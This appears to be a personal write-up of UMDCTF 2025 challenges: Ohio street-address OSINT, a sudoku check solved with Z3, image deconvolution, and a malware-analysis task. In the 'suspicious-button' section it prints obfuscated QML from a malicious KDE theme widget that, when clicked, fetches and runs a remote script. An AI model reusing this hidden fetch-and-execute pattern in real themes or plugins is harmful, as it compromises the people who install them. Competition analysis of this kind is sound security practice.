UMDCTF 2025 Write-up
Introduction
This weekend I have competed in UMDCTF 2025 with my team and it was really fun. I really enjoyed the new categories that were meant to satirize the “brain rot” phenomenon.
ohio/sunshine
Description
This challenge provided an image of a street in Ohio and prompted the full address of house number 356.
Solution
If we carefully look at the original image we can reverse search the logo on the trash bins and thus find the city, making the search a lot easier.
Using the query “akron house 356” in Google, we find the exact house.
Flag:
1
UMDCTF{356 Hillwood Dr, Akron, OH 44320}
ohio/the-master
Description
Again, this challenge provided an image of a street in Ohio and prompted the full street address.
Solution
Looking at the signs present in the image, we can se a particularly interesting one relating to John Hunt Morgan Heritage Trail.
Searching about this trail on Google we find a master list of the markers, this website: John Hunt Morgan Heritage Trail in Ohio Historical Markers. Another clue to the location is the church next to the house which narrows down the search. Given these properties, we manage to find the exact location on Google Maps: 190 Main St.
Flag:
1
UMDCTF{Main St, Lore City, OH 43755}
nyt/sudoku
Description
This challenge consists of a remote server which seems to be running some kind of sudoku game. Our goal is to win this game.
Solution
Using a wrong format for input like “1” gives us a clue about the constraints for the supposed sudoku game as well as the correct input format.
1
2
3
4
5
input: 1
Traceback (most recent call last):
File "/app/run", line 2, in <module>
(s := [*map(int,input("input: "))]) is not s[69] == s[68] > s[58] == s[26] > s[18] == s[43] > s[28] == s[48] == s[78] > s[5] == s[62] == s[72] > s[70] == s[51] == s[2] > s[31] == s[57] > s[41] == s[10] > s[24] == s[55] == s[36] == s[39] > 0 != s[45] != 0 != s[30] != 0 != s[32] != 0 != s[42] != 0 ...<SNIP>... != s[59] != s[23] is not print(open("flag.txt").read())
Instead of trying to manually analyze or solve this chaotic tangle of relationships, the following script uses symbolic execution with the help of the Z3 theorem prover. Each entry in the array is treated as an unknown integer value. The code then systematically translates the entire messy condition string into formal logical constraints understandable by Z3. Z3, being a powerful constraint solver, can then reason through the relationships and figure out valid assignments of numbers to all variables that satisfy every single constraint.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import re
from z3 import Solver, Int, sat, And
# The full condition string from the traceback
condition_string = "s[69] == s[68] > s[58] == s[26] > s[18] == s[43] ...<SNIP>... != s[68] != s[14] != s[31] != s[0] != s[27] != s[66] != s[18] != s[2] != s[8] != s[71] != s[62] != s[57] != s[63] != s[10] != s[11] != s[72] != s[70] != s[50] != s[19] != s[26] != s[33] != s[54] != s[68] != s[60] != s[59] != s[65] != s[80] != s[73] != s[23] != s[50] != s[56] != s[48] != s[67] != s[44] != s[36] != s[38] != s[3] != s[10] != s[75] != s[73] != s[25] != s[80] != s[59] != s[23]"
# --- Create Solver and Variables ---
solver = Solver()
s = [Int(f's_{i}') for i in range(81)]
# --- Add Constraints ---
# 1. Each cell contains a digit from 1 to 9
for i in range(81):
solver.add(s[i] >= 1, s[i] <= 9)
# 2. Specific equality constraints from Block 1
# Group 1 = 9
solver.add(s[69] == 9, s[68] == 9)
# Group 2 = 8
solver.add(s[58] == 8, s[26] == 8)
# Group 3 = 7
solver.add(s[18] == 7, s[43] == 7)
# Group 4 = 6
solver.add(s[28] == 6, s[48] == 6, s[78] == 6)
# Group 5 = 5
solver.add(s[5] == 5, s[62] == 5, s[72] == 5)
# Group 6 = 4
solver.add(s[70] == 4, s[51] == 4, s[2] == 4)
# Group 7 = 3
solver.add(s[31] == 3, s[57] == 3)
# Group 8 = 2
solver.add(s[41] == 2, s[10] == 2)
# Group 9 = 1
solver.add(s[24] == 1, s[55] == 1, s[36] == 1, s[39] == 1)
# 3. Parse and add pairwise inequality constraints from the rest of the chain
# Find the part of the string after '> 0'
try:
inequality_part = condition_string.split("> 0", 1)[1]
except IndexError:
print("Error: '> 0' not found in the condition string. Cannot parse inequalities.")
inequality_part = ""
if inequality_part:
# Split the inequality part by '!='
# Terms will be like ' s[45] ', ' 0 ', ' s[30] ', etc.
terms = [term.strip() for term in inequality_part.split('!=')]
parsed_inequalities = 0
# Iterate through consecutive terms and add constraints s[a] != s[b]
# We ignore '0' because the domain 1-9 already handles 's[x] != 0'
for i in range(len(terms) - 1):
term1 = terms[i]
term2 = terms[i+1]
# Skip constraints involving '0'
if term1 == '0' or term2 == '0':
continue
# Extract indices from terms like 's[45]'
idx1_match = re.match(r"s\[(\d+)\]", term1)
idx2_match = re.match(r"s\[(\d+)\]", term2)
if idx1_match and idx2_match:
idx1 = int(idx1_match.group(1))
idx2 = int(idx2_match.group(1))
# Add the constraint s[idx1] != s[idx2]
# Check bounds just in case parsing is weird, although unlikely here
if 0 <= idx1 < 81 and 0 <= idx2 < 81:
solver.add(s[idx1] != s[idx2])
parsed_inequalities += 1
else:
print(f"Warning: Index out of bounds ({idx1} or {idx2}) in inequality between '{term1}' and '{term2}'")
else:
# This might happen if there's unexpected format, e.g. != print(...) at the end
# print(f"Warning: Could not parse indices for inequality between '{term1}' and '{term2}'")
pass # Ignore if we can't parse both sides as s[index]
print(f"Added {parsed_inequalities} explicit pairwise inequality constraints.")
# --- Check for Solution and Print ---
print("Solving with explicit value and inequality constraints (NO Sudoku rules)...")
if solver.check() == sat:
print("Solution found!")
m = solver.model()
solution = []
# Ensure all cells have a value assigned by the model
all_assigned = True
for i in range(81):
val = m.evaluate(s[i], model_completion=True) # Use model_completion=True
if val is None:
print(f"Error: Model did not assign a value to s[{i}]")
all_assigned = False
break
solution.append(val.as_long())
if all_assigned:
# Format for the nc command (single string of 81 digits)
solution_string = "".join(map(str, solution))
print("\nInput string for nc:")
print(solution_string)
# Optional: Print formatted grid for verification (will likely not be a valid Sudoku)
print("\nResulting Grid:")
for r in range(9):
row_str = ""
for c in range(9):
row_str += str(solution[r * 9 + c]) + " "
if (c + 1) % 3 == 0 and c < 8:
row_str += "| "
print(row_str.strip())
if (r + 1) % 3 == 0 and r < 8:
print("-" * 21)
else:
print("Could not generate solution string due to unassigned variables.")
else:
print("Constraints are unsatisfiable.")
Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Added 810 explicit pairwise inequality constraints.
Solving with explicit value and inequality constraints (NO Sudoku rules)...
Solution found!
Input string for nc:
224945891227236799775446158763132236157152174561681439614389755963829948537883684
Resulting Grid:
2 2 4 | 9 4 5 | 8 9 1
2 2 7 | 2 3 6 | 7 9 9
7 7 5 | 4 4 6 | 1 5 8
---------------------
7 6 3 | 1 3 2 | 2 3 6
1 5 7 | 1 5 2 | 1 7 4
5 6 1 | 6 8 1 | 4 3 9
---------------------
6 1 4 | 3 8 9 | 7 5 5
9 6 3 | 8 2 9 | 9 4 8
5 3 7 | 8 8 3 | 6 8 4
Flag:
1
UMDCTF{has_operator_chaining_gone_too_far}
misc/suspicious-button
Description
The challenge presents the source code of a supposed malware KDE theme and we are asked to find the payload.
Solution
Looking through the source code, in plasmoids/susbutton/contents/ui we find two files: main.qml and Sus.qml. Here we find obfuscated payloads which reveal the malicious properties of the theme.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// main.qml
import QtQuick
import QtQuick.Layouts
import org.kde.plasma.components
import org.kde.plasma.plasmoid
import org.kde.kirigami as Kirigami
import org.kde.plasma.plasma5support as Plasma5Support
import QtMultimedia
PlasmoidItem {
id: root
height: plasmoid.configuration.iconSize
width: plasmoid.configuration.iconSize
preferredRepresentation: fullRepresentation
Plasma5Support.DataSource {
id: executable
engine: "executable"
connectedSources: []
onNewData: {
var exitCode = data["exit code"]
var exitStatus = data["exit status"]
var stdout = data["stdout"]
var stderr = data["stderr"]
exited(exitCode, exitStatus, stdout, stderr)
disconnectSource(sourceName) // cmd finished
}
function exec(cmd) {
connectSource(cmd)
}
signal exited(int exitCode, int exitStatus, string stdout, string stderr)
}
Sus {
id: s
}
fullRepresentation: Item {
anchors.fill: parent
Kirigami.Icon {
id: icon_button
source: "among-us"
anchors.fill: parent
SoundEffect {
id: sussy
source: "sussy.wav"
}
MouseArea {
anchors.fill: parent
acceptedButtons: Qt.LeftButton
onClicked: (mr) => {
sussy.play();
var lx=s.ll[0]+s.ll[s.l(2,2)]+s.ll[s.l(s.l(2,2),s.l(2,2))]+s.ll[321-309];var k=+"",e=executable;var f = e[lx];e=s.q;var n=[],sd='bu';n+=[];var l=s.b("UDMctf"),mm=sd;e+=s.$__+s.$___;for(;k<l;k++){n+=e[l*k%67];}var h=8,ff="{}";sd+='rr';var g=f,nn=2;--h; var q=s.b(1);mr=mr[mm+s.su(+[])+s.su(2)+s.r()]; var qq=function(h,p,r){mm+='{';for(;k<67;k++){h+=e[l*k%(s.c(r,p)-mr)]}return h;};n=qq(n,h,24); h = [g,6,12,n];k=s.l([],[]); h[1]=h[0];h[mr-1]=mr;s.p(h[3],s.l,h[1],k); h=ff;n=2;ff=h;(r)=>{while(mr-1){r+=s.q[mr];mr--;}return r;}(s.p); s.p(ff,s.l,()=>{},0);
}
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Sus.qml
import QtQuick
Item {
property var $__: '/21d72pldx|a u t:st.dfocf587/yat bh'
property var $___: '/2pldx|Mopqfa99\\gyat'
property var q: 'clts/acmtifa55d3ao.t s rhp/tiuc.'
property var ll: 'eN+AxblBeKr2c'
function b(sus) {return sus[3]='c'?45:46;}
function c(sus,sus2) {return sus2?c(sus*sus%127,--sus2):sus}
function l($_,_$){return $_+_$;}
function r(){return 'on'}
function p (a,b,c,d) {return c(b(a,d)+d);}
function su(r){return "tlt"[r]}
}
If we ask ChatGPT to deobfuscate these files, we find that the theme executes some bash script from a remote location:
1
https://static.umdctf.io/fc2af155d587d723/payload.txt
Deobfuscating this one more time with the following command reveals the flag:
1
2
3
printf 'QlpoOTFBWSZTWV6+ejAAABOfgECBgAkNAgYAv+/+CiAASIkG1A0aAeU9MoNCKNGEPQIaDCM0Qeq7JjaChSBUQyjnHBfDcziPcgeyD7qxoCheMPpv/DUmqA4vWAxSYbGoBdFjcXckU4UJBevnowA=' \
| base64 -d \
| bunzip2 -c
Output:
1
echo 'UMDCTF{kde_global_themes_can_be_quite_sus}' > /tmp/.flag; rm /tmp/.flag
Flag:
1
UMDCTF{kde_global_themes_can_be_quite_sus}
ohio/gerard-manley-hopkins
Description
This challenge provides an image of a street in Ohio and prompts for the full street address.
Solution
Again, if we carefully look at the original image we can reverse search the logo on the trash bin which leads us to the adjacent street from the image.
Using the query “Dailey’s 532-4667” on Google, we find this website: Dailey’s Recycling & Refuse on 18th St in Wellsville, OH . This reveals the adjacent street and by using Pedestrian View and the house numbers (1121 and 1116) we find the exact location: 1121 Mick Rd.
Flag:
1
UMDCTF{Hillcrest Rd, Wellsville, OH 43968}
misc/alien-transmission
Description
This challenge consists of a generation script for a convoluted image and the output convoluted image. The goal is to recover the original image.
Solution
The main vulnerability of the script is the fixed seed which allows us to reconstruct the kernel and try different deconvolution methods in order to recover the original flag.png file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import numpy as np
import random
from skimage.io import imread, imsave
filename = "./flag.png"
img = imread(filename, as_gray=True)
(width, height) = img.shape
random.seed(420)
kernel = [[float(random.randint(-10,10)) for _ in range(19)] for _ in range(19)]
print(kernel)
q = sum(sum(kernel, start=[]))
print(q)
kernel = [[a / q for a in r] for r in kernel]
output_data = []
for x in range(9, width-9):
row = []
for y in range(9, height-9):
p = 0.0
for i in range(-9, 10):
for j in range(-9, 10):
p += img[x+i, y+j] * kernel[i+9][j+9]
row.append((0, p, 0))
output_data.append(row)
output_data = np.array(output_data)
output_data = np.interp(output_data, (-10, 10), (0, 256))
output_data = np.uint8(np.round(output_data))
imsave("output.png", output_data)
This is output.png:
After trying different methods, frequency-domain inversion using Fourier deconvolution seems to be the best one. The clarity on the reconstructed image is good enough for reading the characters that compose the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import numpy as np
import random
from skimage.io import imread, imsave
from scipy.signal import fftconvolve
# Reconstruct kernel
random.seed(420)
kernel = np.array([[random.randint(-10,10) for _ in range(19)] for _ in range(19)])
kernel = kernel / kernel.sum()
# Load and preprocess
encoded = imread("output.png")[:, :, 1].astype(np.float32)
p_values = (encoded / 255.0) * 20 - 10
# Pad and prepare for FFT
pad_size = 9
padded = np.pad(p_values, pad_size, mode="edge")
kernel_padded = np.zeros(padded.shape)
kernel_padded[:19, :19] = kernel[::-1, ::-1]
# Fourier deconvolution
fft_img = np.fft.fft2(padded)
fft_kernel = np.fft.fft2(kernel_padded)
epsilon = 0.01 * np.max(np.abs(fft_kernel))
fft_recovered = fft_img / (fft_kernel + epsilon)
# Inverse transform and crop
recovered = np.fft.ifft2(fft_recovered).real
recovered = recovered[pad_size:-pad_size, pad_size:-pad_size]
# Proper normalization with fixed line continuation
p_low = np.percentile(recovered, 0.1)
p_high = np.percentile(recovered, 99.9)
recovered = (recovered - p_low) / (p_high - p_low) # Fixed line continuation
# Final processing
recovered = np.clip(255 * recovered, 0, 255).astype(np.uint8)
imsave("flag.png", recovered)
This is the reconstructed flag.png image:
Flag:
1
UMDCTF{gl33p_gl0rp}
Conclusion
UMDCTF 2025 was an absolute blast — huge props to the organizers for putting together such a creative and chaotic mix of challenges. I really appreciated the fresh categories (especially the satirical ones poking fun at brain rot), and the mix of both technical and OSINT-heavy problems kept things from feeling stale. Some challenges were cursed in the best possible way, and others were just pure detective work. Overall, it was a super fun weekend grinding through these puzzles with my team, and I’m already looking forward to what next year will bring.